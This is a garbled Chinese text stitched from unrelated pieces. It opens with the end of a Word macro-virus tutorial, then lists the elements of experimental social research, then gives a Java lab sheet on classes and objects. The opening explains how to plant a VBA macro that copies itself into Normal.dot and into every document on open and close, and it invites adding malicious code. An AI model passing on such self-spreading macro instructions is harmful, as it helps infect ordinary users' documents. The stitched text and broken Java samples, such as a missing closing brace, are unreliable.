WithMsgBox "MicroVirus by Content Security Lab"End Sub打开⼀个word⽂档,然后按Alt+F11调⽤宏编写窗⼝(⼯具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输⼊以上代码,保存,此时当前word⽂档就含有宏病毒,只要下次打开这个word⽂档,就会执⾏以上代码,并将⾃⾝复制到Normal.dot(word⽂档的公共模板)和当前⽂档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前⽂档为Document_Open),此时所有的word⽂档打开和关闭时,都将运⾏以上的病毒代码,可以加⼊适当的恶意代码,影响word的正常使⽤,本例中只是简单的跳出⼀个提⽰框。
实验调查法的基本要素
实验调查法的基本要素
1、实验者,即实验调查的有目的、有意识的活动主体,他们都以一定的实验假设来指导自己的实验活动:
2、实验对象,既实验调查者所要认识的客体,他们往往被分成实验组和对照组这两类对象:
3、实验环境,既实验对象所处的各种社会条件的总和,它们可以分为人工实验环境和自然实验环境:
4、实验活动,既改变实验对象所处社会条件的各种实验活动,它们在实验调查中被称为“实验激发”;
5、实验检测,既在实验过程中对实验对象所作的检查或测定,他可以分为实验激发前的检测和实验激发后的检测。
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实验五类和对象(一)
一、实验目的
通过实例领悟面向对象程序设计思想。
二、实验要求
1、熟练掌握类的定义,域和方法的概念,理解类与类之间的关系。
2、掌握构造方法与对象的创建和对象的初步使用。
3、比较面向过程和面向对象两类代码,领悟面向对象程序设计思想。
4、分析程序的运行结果并记录所编写的程序、执行结果以及出错时的处理过程。
三、实验内容
面向对象程序设计思想,类与对象态。
运行案例3.1—3.4,完成实验任务。
四、参考程序
1、面向过程与面向对象程序实例比较。
1)以面向过程的程序设计方式思考:
a、确定长方形周长和面积的算法。
b、编写两个方法(函数)分别计算长方形的周长和面积。
c、求周长的方法(函数)和求面积的方法(函数)需要两个参数,分别是长方形的长和宽。
程序示例1:
//面向过程求长方形周长与面积方法
class Rectangle1
{
static int perimeter(int length,int width)
{
return 2*(length+width);
}
static int area(int length,int width)
{
return length*width;
}
public static void main(String[] args)
{
System.out.println("perimeter =" + Rectangle1.perimeter(5,4));
System.out.println("area =" + Rectangle1.area(5,4));
}
}
2)以面向对象的程序设计方式思考:
a、一个长方形可以看成一个长方形对象。
b、一个长方形对象有两个状态(长和宽)和两个行为(求周长和求面积)。
c、将所有长方形的共性抽取出来,设计一个长方形类。
d、通过长方形对象的行为,就可以求出某个具体的长方形对象的周长和面积。
程序示例2:
//面向对象求长方形面积与周长方法
class Rectangle{
int length,width;
int perimeter()
{
return 2*(length+width);
}
int area(){
return length*width;
}
public static void main(String args[]){
Rectangle rect1=new Rectangle();
rect1.length=50;
rect1.width=10;
System.out.println(rect1.perimeter());
System.out.println(rect1.area());
}
}
2、类的定义与对象创建
class Car{
String model;
public Car(){}
public Car(String model){this.model=model;}
void printModel(){
System.out.println("The model of this car is "+model/*this.model*/);;
}
public static void main(String args[]){
Car myCar1=new Car();
Car myCar2=new Car("BMW");
System.out.println(myCar1.model);
myCar1.printModel();
}
五、实验任务
1. 类和对象的关系?
2. 类与类之间的关系有哪几种?
3. 构造方法的特征?
4. 完成课后实验一和实验二。
5. 编写一个userName类,包含两个成员变量:firstname,lastname;构建两个构造方法,一个是带参数,一个是不带参数,将firstname和lastname进行初始化;最后构建一个fullName 方法,用来返回全名。
6.利用面向对象程序设计思想修改下列程序:
//创建一个二维不规则数组,并给这数组赋值,从二维中查找最大值, 并指明最大值所在的行号和列号。
public class ss {
public static void main(String[] args){
int[][] a=new int[3][];//创建数组的行数,也是数组a的长度
a[0]=new int[4];//创建每行数组的列数
a[1]=new int[3];
a[2]=new int[5];
for(int i=0;i<a.length;i++){//打印所创建的数组
for(int j=0;j<a[i].length;j++){
a[i][j]=i+j-2*i*j;//给数组元素赋值
System.out.print(a[i][j]+" ");
}
System.out.println();
}
int max=a[0][0];//记录最大值的变量
int row=0,col=0;//记录最大值所在的行和列
for(int i=0;i<a.length;i++)//查找最大值
for(int j=i;j<a[i].length;j++){
if(max<a[i][j]){max=a[i][j];
row=i;
col=j;
}
}
System.out.println("max="+max+"\n最大值所在的位置为:row="+(row+1)+" column="+(col+1));
}
}。